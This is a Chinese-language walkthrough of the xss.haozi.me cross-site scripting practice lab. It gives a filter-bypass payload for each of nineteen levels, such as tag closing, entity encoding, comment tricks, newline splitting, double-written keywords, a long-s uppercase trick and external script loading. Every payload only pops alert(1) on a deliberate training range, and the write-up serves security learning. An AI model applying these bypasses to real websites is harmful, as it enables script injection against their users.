XSS漏洞:xss.haozi.me靶场1-12 | A-F

目录

0x00(无限制)

0x01(闭合标签绕过)

0x02(双引号闭合绕过)

0x03(过滤括号)

0x04(编码绕过)

0x05(注释闭合绕过)

0x06(换行绕过)

0x07(删除标签换行绕过)

0x08(加空格绕过)

0x09(闭合绕过)

0x0A(JS 调用)

0x0B

0x0C(JS 调用+双写绕过)

0x0D

0x0E

0x0F

0x10(闭合标签+换行绕过)

0x11(双引号和括号闭合)

0x12(闭合标签+换行绕过)


xss.haozi.me靶场网址:

https://xss.haozi.me/#/0x00icon-default.png?t=N7T8https://xss.haozi.me/#/0x00

0x00(无限制)

第一关很简单,我们直接进行弹窗

<script>alert(1)</script>

0x01(闭合标签绕过)

把<textarea>标签闭合掉,再进行弹窗

</textarea><script>alert(1)</script><textarea>

0x02(双引号闭合绕过)

输入的内容被放在了value里面包起来了,并且没有对我们输入的内容进行限制,因此直接用 "> 闭合了前面的 input 标签,然后在后面添加弹窗代码

"> <script>alert(1)</script>

0x03(过滤括号)

这关输入弹窗代码发现()被过滤了,用反单引号代替()

<script>alert`1`</script>

0x04(编码绕过)

这关发现反单引号也被过滤了,所以我们用 svg 和对(1)进行 Unicode 编码来实现弹窗

<svg><script>alert&#40;&#49;&#41;</script>

0x05(注释闭合绕过)

直接输入弹窗代码会被注释掉,用 --> 闭合会出来一个表情,所以我们用 --!> 闭合

--!><script>alert(1)</script>

0x06(换行绕过)

通过输入代码会发现 >、= 会被过滤,发现可以换行绕过,所以代码如下

onclick
="alert(1)"

0x07(删除标签换行绕过)

输入的值被包裹在一对 article 标签并且对我们输入的值进行了过滤,对 </> 进行了过滤,因此无法提前闭合<article>标签。

<input onclick=
"alert(1)"

0x08(加空格绕过)

输入的代码被包在一对 style 标签内,并且对输入的内容进行了替换,如果输入</style> 会替换成“坏人”

<style> 标签表示css样式表,不能执行 JavaScript 语句,即不能直接输入xss语句像 <img scr="xxx">,其中img和src中间有空格,也就是说标签和属性之间是可以有空格的

</style> 标签也是一样的,在 style 后面加入空格,加入空格后可以往后面加上属性,但是不加属性只加空格也是可以解析的,所以使用空格来闭合 style 标签从而绕过匹配,进行弹窗

</style ><script>alert(1)</script>

0x09(闭合绕过)

需要我们输入一个 http://www.segmentfault.com/ 的格式才能成功匹配 if 语句进入html页面;可以使用onerror 事件来绕过,去请求url,如果请求失败则触发事件然后等待超时后就可以触发事件弹窗

http://www.segmentfault.com "onerror=alert(1)//

0x0A(JS 调用)

定义了一个名为 escapeHtml 的内部函数,用于转义 HTML 中的特殊字符。该函数将 &, ', ", <, >, / 分别替换为它们对应的 HTML 实体,以防止 XSS 攻击和 HTML 注入等安全问题。接着,定义了一个正则表达式 domainRe,用于匹配以 http:// 或 https:// 开头,后跟 www.segmentfault.com 的 URL。然后,使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果输入的 URL 符合 domainRe 定义的格式,则调用 escapeHtml 函数对输入的 URL 进行 HTML 转义,并将其插入到 <script> 标签的 src 属性中,最终返回类似于 <script src="https://www.segmentfault.com"></script> 的字符串。如果输入的 URL 不符合格式,则返回 ‘Invalid URL’ 字符串。

所以本关其实与上一关差不多,但是我们如果采用闭合,那么将会被实体编码从而无法完成调用。本关我们只能采用使用官方的JS进行调用:

https://www.segmentfault.com.haozi.me/j.js

0x0B

本关限制就很简单,将我们输入的所有字符都进行了转大写,引入官方 js 文件就可以直接弹窗

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0C(JS 调用+双写绕过)

把所有的字符转换为了大写,并且将 script 关键字进行了过滤,因此可以使用“双写绕过+再次引入外部官方文件”的方式来进行弹窗

<sscriptcript src="https://www.segmentfault.com.haozi.me/j.js"></sscriptcript>

0x0D

对 / < " ' 进行了限制,所以无法进行闭合标签的操作,用回车换行可以逃过 // 注释,但是后面还有一个 ') 无法进行弹窗

发现可以用 --> 注释掉后面 ')

alert(1)
-->

0x0E

发现将所有的字符都进行了大写操作,并且将第一个以 < 开头后面是一个字母的值替换为了_

这里我们可以使用特殊字符” ſ “(古英文的小写s),将其转化为大写后就变成了大写的S,然后使用外部引入的方式来进行弹窗

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

发现对输入的 & ' " < > / 进行了过滤,现在先闭合前面的 ),然后再后面直接进行弹窗

');alert(1) ('

0x10(闭合标签+换行绕过)

发现被放在了windows.data中,现在绕过 window.data 然后闭合前面的 script 再进行弹窗

</script>
<script>alert(1)</script>

0x11(双引号和括号闭合)

发现输入的字符最终被放在了javascript:console.log中,多次尝试发现和 0x0F 类似

");alert(1)("

0x12(闭合标签+换行绕过)

发现输入的内容放在了 console.log 中,并且对 " 进行了过滤,防止我们闭合

尝试之后发现换行再使用</script>闭合前面的</script>可以实现弹窗

</script>
<script>alert(1)</script>

  • 25
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值